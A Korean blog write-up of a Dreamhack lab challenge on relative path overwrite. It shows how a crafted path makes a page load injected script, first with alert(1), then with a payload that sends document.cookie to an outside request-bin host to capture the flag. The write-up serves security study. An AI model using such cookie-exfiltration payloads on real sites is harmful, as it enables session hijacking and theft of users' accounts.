728x90
https://chulmin.tistory.com/339에서 풀었던 문제의 Advanced 이기에 바로 코드 분석으로 넘어가자!
• 코드 분석
filter.js 파일이 static폴더 안에 있어 경로조작이 어려울 거 같다.!
404.php의 역할은 filter.js를 잘못된 경로로 요청을 했을 때 아래처럼 not found를 반환한다
여기서 static부분에 스크립트문을 삽입하면서 로드하는 filter.js의 코드가 실행이 된다는 것이다.!!
• 문제 풀이
http://host3.dreamhack.games:8593/index.php/;alert(1);//?page=vuln¶m=dreamhack 입력을 하면 alert(1) 코드를 삽입하고 나머지 부분을 주석처리를 한다 그렇게 되면 script코드가 실행이 된다.
script가 실행이 되는 이유는 로드되는 filter.js파일이 /index.php/;alert(1); 파일이 되어 버리기 때문이다.
그럼 이제 flag을 얻기 위해서는
index.php/;location.href='https://wdmubuy.request.dreamhack.games/'+document.cookie;//?page=vuln&=dreamhack
페이로드를 입력을 하면 flag값을 얻을 수 있다.!
• 참고 자료
https://learn.dreamhack.io/328#5
'모의해킹 > Dreamhack' 카테고리의 다른 글
node-serialize (0) | 2023.12.18 |
---|---|
Dream Gallery (0) | 2023.12.16 |
Relative Path Overwrite (0) | 2023.12.02 |
phpMyRedis (0) | 2023.12.01 |
Client Side Template Injection (0) | 2023.11.25 |